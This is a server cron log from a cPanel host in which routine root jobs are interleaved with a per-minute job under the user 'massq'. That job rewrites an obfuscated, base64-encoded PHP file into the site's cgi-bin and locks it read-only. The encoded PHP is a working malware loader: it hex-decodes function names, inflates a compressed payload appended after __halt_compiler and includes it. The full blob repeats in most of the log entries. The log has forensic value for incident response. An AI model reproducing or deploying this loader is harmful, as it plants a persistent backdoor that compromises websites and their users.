444 "$fp")
Sep 11 10:31:01 server CROND[2483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:32:01 server CROND[2901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:32:01 server CROND[2902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:32:01 server CROND[2903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:33:01 server CROND[3291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:33:01 server CROND[3293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:33:01 server CROND[3292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:34:01 server CROND[3762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:34:01 server CROND[3763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:34:01 server CROND[3764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:35:01 server CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:35:01 server CROND[4185]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:35:01 server CROND[4186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:35:01 server CROND[4189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:35:01 server CROND[4191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:35:01 server CROND[4192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:35:01 server CROND[4187]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 10:35:01 server CROND[4188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:35:01 server CROND[4193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:36:01 server CROND[5040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:36:01 server CROND[5041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:36:01 server CROND[5042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:37:01 server CROND[5419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:37:01 server CROND[5420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:37:01 server CROND[5421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:38:01 server CROND[5795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:38:01 server CROND[5796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:38:01 server CROND[5797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:39:01 server CROND[6283]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 10:39:01 server CROND[6284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:39:01 server CROND[6285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:39:01 server CROND[6286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:40:01 server CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:40:01 server CROND[6716]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:40:01 server CROND[6718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:40:01 server CROND[6719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:40:01 server CROND[6722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:40:01 server CROND[6724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:40:01 server CROND[6721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:40:01 server CROND[6723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:41:01 server CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:41:01 server CROND[7572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:41:01 server CROND[7573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:42:02 server CROND[7951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:42:02 server CROND[7954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:42:02 server CROND[7953]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:42:02 server CROND[7952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:43:01 server CROND[8331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:43:01 server CROND[8333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:43:01 server CROND[8332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:44:01 server CROND[8787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
